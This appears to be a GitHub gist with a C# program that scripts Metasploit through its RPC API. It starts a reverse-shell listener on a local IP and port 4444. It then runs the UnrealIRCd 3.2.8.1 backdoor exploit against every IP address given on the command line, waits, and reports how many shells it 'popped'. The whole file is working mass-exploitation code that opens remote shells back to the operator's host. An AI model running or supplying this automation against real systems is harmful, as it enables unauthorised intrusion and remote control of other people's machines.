Skip to content

Instantly share code, notes, and snippets.

@brandonprry brandonprry/gist:6325845
Last active Dec 21, 2015

Embed
What would you like to do?
using System;
using metasploitsharp;
using System.Collections.Generic;
namespace ModuleExecuteExample
{
class MainClass
{
public static void Main (string[] args)
{
using (MetasploitSession session = new MetasploitSession("user", "pass", "http://127.0.0.1:55553/api")) {
if (string.IsNullOrEmpty (session.Token))
throw new Exception ("Login failed. Check credentials");
using (MetasploitManager manager = new MetasploitManager(session)) {
Dictionary<string, object> response = null;
Dictionary<string, object> blah = new Dictionary<string, object> ();
blah ["ExitOnSession"] = "false";
blah ["PAYLOAD"] = "cmd/unix/reverse";
blah ["LHOST"] = "192.168.1.31";
blah ["LPORT"] = "4444";
response = manager.ExecuteModule ("exploit", "multi/handler", blah);
object jobID = response ["job_id"];
foreach (string ip in args) {
Dictionary<string, object> opts = new Dictionary<string, object> ();
opts ["RHOST"] = ip;
opts ["DisablePayloadHandler"] = "true";
opts ["LHOST"] = "192.168.1.31";
opts ["LPORT"] = "4444";
opts ["PAYLOAD"] = "cmd/unix/reverse";
response = manager.ExecuteModule ("exploit", "unix/irc/unreal_ircd_3281_backdoor", opts);
}
response = manager.ListJobs();
List<object> vals = new List<object>(response.Values);
while (vals.Contains((object)"Exploit: unix/irc/unreal_ircd_3281_backdoor")) {
Console.WriteLine ("Waiting");
System.Threading.Thread.Sleep (6000);
response = manager.ListJobs();
vals = new List<object> (response.Values);
}
response = manager.StopJob(jobID.ToString());
response = manager.ListSessions ();
Console.WriteLine ("I popped " + response.Count + " shells. Awesome.");
}
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.